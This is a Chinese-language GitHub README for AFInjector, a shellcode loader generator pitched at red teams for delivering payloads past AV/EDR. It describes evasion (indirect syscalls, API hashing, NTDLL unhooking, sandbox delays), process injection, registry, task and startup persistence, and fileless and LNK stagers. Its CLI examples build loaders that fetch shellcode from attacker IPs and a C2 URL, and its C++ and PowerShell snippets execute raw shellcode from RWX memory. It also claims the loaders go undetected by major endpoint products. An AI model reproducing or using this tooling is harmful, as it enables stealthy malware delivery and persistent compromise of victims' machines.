Excalibra/AFInjector
GitHub: Excalibra/AFInjector
一款集成多种注入技术和规避手段的 shellcode 加载器生成框架,旨在帮助红队在 AV/EDR 环境下隐蔽投递 payload。
Stars: 22 | Forks: 2
## 📖 目录
- [目标](#goal)
- [功能](#features)
- [安装](#installation)
- [使用方法](#usage)
- [图形界面 (GUI)](#graphical-interface-gui)
- [命令行界面 (CLI)](#command-line-interface-cli)
- [示例](#examples)
- [输出格式](#output-formats)
- [待办事项](#to-do)
- [检测情况](#detections)
- [致谢](#credits)
## 🎯 目标
AnneFrankInjector 是一款现代的 shellcode 加载器,专为 CTF、红队演练和认证考试期间的 **AV/EDR 规避** 而设计。它结合了多种注入技术、加密和混淆手段,帮助你的 payload 保持隐蔽——直到某个爱管闲事的邻居 (Defender) 把它供出来。
## ✨ 功能
- **无阶段 (Stageless)** – 将 shellcode 直接嵌入到加载器中。
- **分阶段 (Staged)** – 通过 HTTP 获取 shellcode(动态加密)。
- **规避技术**:
- 间接系统调用 (Indirect syscalls, Syswhispers)
- API 哈希 (Djb2)
- NTDLL 脱钩 (KnownDLLs)
- AES‑128‑CBC 加密
- EarlyBird APC 注入到任何目标进程(可自定义)
- **派生注入 (Spawn injection)** – 创建一个新进程(例如,notepad.exe)并在其中注入(规避基于进程的检测)
- **注入前延迟** – 等待可配置的秒数,以绕过具有短超时机制的沙箱
- 函数/变量名混淆 (`-s`)
- **持久化**(可选):
- 注册表 Run 键 (`reg`)
- 计划任务 (`task`)
- 启动文件夹 (`startup`)
- **高级模式**:
- **交错持久化 (Staggered persistence)** – 两阶段执行
- **反射模式** – 无文件(磁盘上没有 EXE)
- **LNK stager** – 生成基于 PowerShell 的快捷方式用于初始访问
- **输出格式**:EXE、DLL 或原始 shellcode (.bin)。
- **代码签名** – 可选使用 PFX 证书。
- **图形界面** – 通过用户友好的 `tkinter` GUI 提供所有选项。
- **内置 Base64 编码器** (UTF-16LE) – 轻松编码用于 `-EncodedCommand` 的 PowerShell 命令。
### 架构
该框架包括:
- **核心加载引擎**:具有动态 API 解析的位置无关 shellcode
- **规避层**:多层反分析技术
- **注入模块**:支持 APC、spawn 和 EnumWindows 注入
- **持久化框架**:注册表、计划任务和启动文件夹持久化
- **配置接口**:GUI 和 CLI 接口,提供操作灵活性
## 功能
### 核心能力
- **无阶段 Payload**:将 shellcode 直接嵌入可执行文件
- **分阶段 Payload**:基于 HTTP 的加密 payload 获取
- **多种输出格式**:EXE、DLL 和原始 shellcode (.bin)
### 规避技术
- **间接系统调用**:SysWhispers3 实现,用于 syscall 混淆
- **API 哈希**:Djb2 算法用于动态 API 解析
- **NTDLL 脱钩**:基于 KnownDLLs 的内存还原
- **AES-128-CBC 加密**:使用可配置密钥进行 payload 加密
- **反沙箱机制**:可配置的延迟和计算密集型操作
- **函数名混淆**:编译时的标识符混淆
### 注入方法
- **APC 注入**:具有可自定义目标进程的 EarlyBird 技术
- **派生注入**:进程创建与注入(规避基于进程的检测)
- **EnumWindows 注入**:基于窗口枚举的 payload 投递
- **自定义进程定位**:支持任何可执行进程
### 持久化选项
- **注册表持久化**:Run 键值操纵以实现长期访问
- **计划任务**:利用系统权限进行基于时间的执行
- **启动文件夹**:通过启动程序实现用户级持久化
- **交错持久化**:用于保障操作安全的多阶段执行
### 高级功能
- **反射加载**:无磁盘痕迹的无文件执行
- **LNK Stager 生成**:基于 PowerShell 的初始访问向量
- **代码签名**:可选的 PFX 证书集成
- **Base64 编码**:用于 PowerShell 操作的 UTF-16LE 编码
- **原始 Shellcode 输出**:位置无关的二进制文件生成
## 安装
### 系统要求
- **Python 3.8+** 及 pip 包管理器
- **MinGW-w64** 交叉编译器,用于生成 Windows 可执行文件
- **NASM** 汇编器,用于汇编代码编译
- **osslsigncode**(可选,用于代码签名)
### Linux 安装(基于 Kali/Debian)
```
# 更新软件包仓库
sudo apt update
# 安装所需依赖
sudo apt install clang mingw-w64 nasm lld osslsigncode
# 克隆仓库
git clone https://github.com/Excalibra/AFInjector.git
cd AFInjector
# 创建并激活虚拟环境
python3 -m venv env
source env/bin/activate
# 安装 Python 依赖
pip install -r Linux/requirements.txt
# 启动 GUI 界面
python af.py
# CLI 使用
cd Linux
python main.py -h
```
### Windows 安装
```
# 从 https://www.msys2.org/ 安装 MSYS2
# 在 MSYS2 终端中:
pacman -Syu
pacman -S mingw-w64-x86_64-clang make nasm
# 克隆仓库
git clone https://github.com/Excalibra/AFInjector.git
cd AFInjector
# 创建并激活虚拟环境
python -m venv env
env\Scripts\activate
# 安装 Python 依赖
pip install -r Windows\requirements.txt
# 启动 GUI 界面
python af.py
# CLI 使用
cd Windows
python main.py -h
```
### 全局安装(可选)
```
# 安装系统级 CLI 工具
pipx install .
```
## 使用方法
### 图形界面
GUI 提供了对所有 AFInjector 功能的全面访问:
```
python af.py
```
**界面功能:**
- Shellcode 文件选择(.bin 格式)
- 无阶段(嵌入式)或分阶段(HTTP)payload 投递
- 输出格式选择(EXE、DLL、BIN)
- 规避配置(加密、混淆、延迟)
- 注入方法选择(APC、spawn、EnumWindows)
- 持久化选项(注册表、计划任务、启动项)
- 高级模式(反射、LNK stager)
- 代码签名集成
- 实时加载器生成
**附加工具:**
- 用于 PowerShell 操作的 Base64 编码器 (UTF-16LE)
- 配置验证和测试工具
### 命令行界面
#### 无阶段 Payload 生成
```
# 基础 stageless loader
afpacker stageless -p payload.bin -e -s -o myloader
# 高级配置
afpacker stageless -p payload.bin -e -s --delay 5 --spawn --spawn-path "C:\\Windows\\System32\\notepad.exe" --persistence reg --staggered --reflective -o myloader
```
#### 分阶段 Payload 生成
```
# 基于 HTTP 的 staged loader
afpacker staged -p payload.bin -i 192.168.1.10 -po 8080 -pa /shellcode.bin -e -s -o myloader
# 带有额外规避
afpacker staged -p payload.bin -i 192.168.1.10 -po 8080 -pa /shellcode.bin -e -s --delay 10 --spawn -o myloader
```
#### 命令参数
| 参数 | 描述 | 默认值 |
|-----------|-------------|---------|
| `-p` | Shellcode 文件路径 | 必填 |
| `-e` | 启用 AES 加密 | 禁用 |
| `-s` | 启用函数混淆 | 禁用 |
| `-o` | 输出文件名 | `afloader` |
| `-f` | 输出格式 (EXE/DLL/BIN) | EXE |
| `--delay` | 注入前延迟(秒) | 0 |
| `--spawn` | 使用 spawn 注入 | 禁用 |
| `--spawn-path` | spawn 的目标进程 | `notepad.exe` |
| `--persistence` | 持久化方法 | 无 |
| `--staggered` | 启用交错持久化 | 禁用 |
| `--reflective` | 启用反射加载 | 禁用 |
| `--lnk-stager` | 生成 LNK stager | 禁用 |
| `--c2-url` | C2 服务器 URL | 无 |
## 示例
### 基本使用场景
```
# 带有 5 秒延迟的加密 EXE
afpacker stageless -p calc.bin -e -s --delay 5
# 带有注册表持久化的 Spawn injection
afpacker stageless -p beacon.bin -e -s --spawn --spawn-path "C:\\Windows\\System32\\notepad.exe" --delay 10 --persistence reg -o beacon
# 带有启动项持久化的 Staged DLL
afpacker staged -p beacon.bin -i 10.0.0.5 -po 80 -pa /payload.bin -f DLL -o beacon --persistence startup
# 带有 LNK stager 的 reflective loader
afpacker stageless -p shellcode.bin -e -s --reflective --lnk-stager --c2-url "http://192.168.1.100/loader.ps1"
# 原始 shellcode 生成
afpacker stageless -p payload.bin -f BIN -e -s --delay 5 -o raw_shellcode
```
### 高级配置
```
# 多重规避配置
afpacker stageless -p advanced.bin -e -s --delay 15 --spawn --persistence reg --staggered --reflective -o advanced
# 自定义进程目标
afpacker stageless -p custom.bin -e -s --apc explorer.exe --delay 8 -o custom
# 代码签名集成
afpacker stageless -p signed.bin -e -s -pfx cert.pfx -pfx-pass password -o signed
```
## 输出格式
### EXE 格式
- 标准 Windows 可执行文件
- 支持所有注入方法
- 兼容直接执行
### DLL 格式
- 带有导出函数 `af` 的动态链接库
- 通过 `rundll32.exe afloader.dll,af` 执行
- 适用于 DLL 劫持场景
### BIN 格式
- 原始的位置无关 shellcode
- 具备直接内存注入能力
- 无 PE 头或依赖项
- 最适合无文件操作
#### 原始 Shellcode 用法
```
// C++ injection example
HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD size = GetFileSize(hFile, NULL);
LPVOID shellcode = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD bytesRead;
ReadFile(hFile, shellcode, size, &bytesRead, NULL);
CloseHandle(hFile);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL);
```
```
# PowerShell injection 示例
$shellcode = [System.IO.File]::ReadAllBytes("shellcode.bin")
$memory = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $memory, $shellcode.Length)
$thread = [System.Threading.Thread]::new([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memory, [System.Action]))
$thread.Start()
```
## 检测与规避
### 当前规避有效性
| 安全解决方案 | 状态 | 备注 |
|-------------------|--------|-------|
| Windows 11 Defender | 未检测到 | 启用延迟 + spawn 注入时 |
| Windows 10 Defender | 未检测到 | 所有规避技术激活时 |
| Sophos Endpoint | 未检测到 | 动态 API 解析有效 |
| Kaspersky Endpoint | 未检测到 | 反沙箱机制成功 |
| CrowdStrike Falcon | 未检测到 | 位置无关执行 |
### 规避方法论
1. **静态分析规避**
- 函数名混淆
- API 哈希和动态解析
- PE 头混淆
2. **动态分析规避**
- 反沙箱延迟
- 计算密集型操作
- 环境检测
3. **基于内存的规避**
- NTDLL 脱钩
- 间接系统调用
- 反射加载
4. **基于网络的规避**
- 加密 payload 投递
- 分阶段执行
- 自定义 C2 通信
## 📌 待办事项
- [x] 注入前延迟
- [x] Spawn 注入(新进程)
- [x] 自定义 APC 目标(任何进程名)
- [x] 持久化(注册表、计划任务、启动项)
- [x] 交错持久化
- [x] 反射模式(无文件)
- [x] LNK stager (PowerShell)
- [x] 内置 Base64 编码器
- [x] 原始 shellcode 输出 (.bin)
- [ ] AMSI / ETW 绕过
- [ ] 更多注入技术(例如,EnumWindows)
## 🛡 检测情况
- 在最新的 Windows 11 Defender 上未检测到(启用延迟 + spawn 注入时)
- 在 Windows 10 Defender 上未检测到
- 在 Sophos、Kaspersky 等上未检测到
## 🙏 致谢
大部分代码并非出自本人。以下是原作者(现已在新项目中得到妥善致谢):
```
@ Excalibra - Main developer, attic architect, and professional snitch-hater
@ Maldevacademy - https://maldevacademy.com
@ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
@ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp
@ klezVirus - https://github.com/klezVirus/SysWhispers3
```
由 Excalibra 用 ☕ 和 🧩 制作
标签:AES加密, API哈希, AV/EDR绕过, Chrome扩展, C#开发, DNS 反向解析, EarlyBird APC注入, GUI工具, Linux安全, NTDLL脱钩, OpenCanary, SSH蜜罐, 中高交互蜜罐, 反弹Shell, 客户端加密, 恶意软件开发, 搜索语句(dork), 数据展示, 无文件执行, 红队, 网络信息收集, 网络安全, 进程注入, 逆向工具, 间接系统调用, 隐私保护